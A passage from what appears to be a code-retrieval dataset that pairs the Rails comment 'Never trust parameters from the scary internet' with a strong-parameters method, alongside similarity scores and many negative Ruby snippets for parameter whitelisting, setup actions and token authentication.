[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def work_article_params params.require(:work_article).permit(:name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
authenticate user from Authorization in header with exception
def authenticate_user_from_token! raise AuthorizationError unless http_auth_token.present? result = find_user raise BadRequestError, result.errors if result.failure? @current_user = result.current_user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n # else\n # authentication_error\n end\n end", "def api_auth\n api_response(403, \"Invalid Authorization header\") unless api_user\n end", "def authenticate_request\n auth_header_token = request.headers[\"Authorization\"]\n @current_user = AuthorizeApiRequest.new(auth_header_token).call\n render json: { error: \"Not Authorized\" }, status: 401 unless @current_user\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end", "def autenticate_user\n auth_token = request.headers[:HTTP_AUTH_TOKEN] #auth_token in header\n return render_message ({status:ERR_STATUS, responseMessage: \"Sorry! You are not an authenticated user.\",responseCode: ERROR}) unless auth_token\n @user = User.find_by(auth_token: auth_token)\n unless @user\n return render_message({status:ERR_STATUS,responseMessage: UNAUTHORIZED_MESSAGE,responseCode: UNAUTHORIZED})\n end\n end", "def authenticate!\n # if the authentication header is an acceptible value\n if @env['HTTP_X_MY_API'] == 'foobar'\n user = { :id => 1, :name => \"some user\" }\n # warden doesn't care what the user is, so long as it's not nil.\n success! user, \"success\"\n end\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authenticate_error\n end\n end", "def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end", "def authenticate_request!\n payload, header = JsonWebToken.verify(http_token)\n header if false # Commeent this line\n @requested_user = {\n email: payload['https://sassbox.com/email'],\n first_name: payload['https://sassbox.com/first_name'],\n last_name: payload['https://sassbox.com/last_name']\n }\n rescue JWT::VerificationError, JWT::DecodeError\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end", "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n render json: { error: \"401\" }, status: :unauthorized\n end\n end", "def authenticate_request!\n\t\t# unless is if in reverse. If user_id_in_token == false then render error\n\t unless user_id_in_token?\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\t return\n\t end\n\t @current_user = User.find(auth_token[:user_id])\n\trescue JWT::VerificationError, JWT::DecodeError\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\tend", "def authenticate_request!\n fail NotAuthenticatedError unless user_id_included_in_auth_token?\n @current_user = User.find(decoded_auth_token[:user_id] || decoded_auth_token[:id])\n fail NotAuthenticated if @current_user.blank?\n rescue JWT::ExpiredSignature, JWT::ImmatureSignature\n raise AuthenticationTimeoutError\n rescue JWT::VerificationError, JWT::DecodeError, ActiveRecord::RecordNotFound\n raise NotAuthenticatedError\n end", "def require_api_user_or_token\n authenticate_user\n rescue AuthenticationError => e\n api_log_error(\"AuthenticationError: #{e.message}\")\n response.headers[\"Content-Type\"] = \"application/json\"\n error_message = ErrorSerializer.new(:unauthorized, e).serialize(true).to_json\n render :status => 401, :json => error_message\n log_api_response\n end", "def api_authenticate\n if request.headers[\"Authorization\"].present?\n auth_header = request.headers['Authorization'].split(' ').last\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request \n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end", "def authenticate\n \n authenticate_or_request_with_http_token do |token|\n begin\n decoded = decode(token)\n @current_user = User.find_by(id: decoded[0][\"user_id\"]) \n \n rescue JWT::DecodeError\n render json: {authorized: false }, status: 401 \n end\n end \n end", "def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end", "def authenticate_request!\n return render_unauthorized unless request.headers['Authorization'].present?\n\n @token ||= AuthenticateRequest.get(User, request.headers['Authorization'].split(' ').last)\n @current_user = @token[:user]\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def api_authenticate\n if request.headers[\"Authorization\"].present?\n # Take the last part in The header (ignore Bearer)\n auth_header = request.headers['Authorization'].split(' ').last\n # Are we feeling alright!?\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request\n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end", "def authenticate!\n user_id = get_user_id_from_token\n if user_id\n @current_user = User.find(user_id)\n else\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end\n rescue JWT::ExpiredSignature\n render json: { errors: ['Authentication Timeout'] }, status: 419\n rescue JWT::VerificationError, JWT::DecodeError\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end", "def authenticate\n authenticate_token || render_unauthorized\n end", "def authenticate\n \t# get token from header\n \tauthentication_token = request.headers['token']\n \t@user = User.find_by_authentication_token authentication_token if authentication_token\n \t\n \tunless @user\n \t\trender json: {success: false, message: I18n.t('unauthorized'), data: {}}, status: :unauthorized\n \t\treturn false\n \tend\n end", "def authenticate_api_token\n if request.headers[\"Authorization\"].present?\n \n auth_header = request.headers['Authorization'].split(' ').last\n \n #try to get the data from jwt token\n @payload = decode auth_header\n \n #couldnt get data for whatever reason\n if !@payload\n render json: { error: \"Problem med autentiseringssträngen. Försök att logga in igen.\" }, status: :bad_request \n #success!\n else\n @payload\n end\n #no token was sent with header \n else\n render json: { error: \"En autentiseringssträng krävs.\"}, status: :forbidden # The header isn´t present\n end\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end", "def authenticate\n authenticate_token || render_unauthorized\nend", "def authenticate\n \n authenticate_token || render_unauthorized\n end", "def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end", "def authenticate_token\n render json: {message: \"Unauthorized\"}, status: 401 unless decode_token(bearer_token)\n end", "def 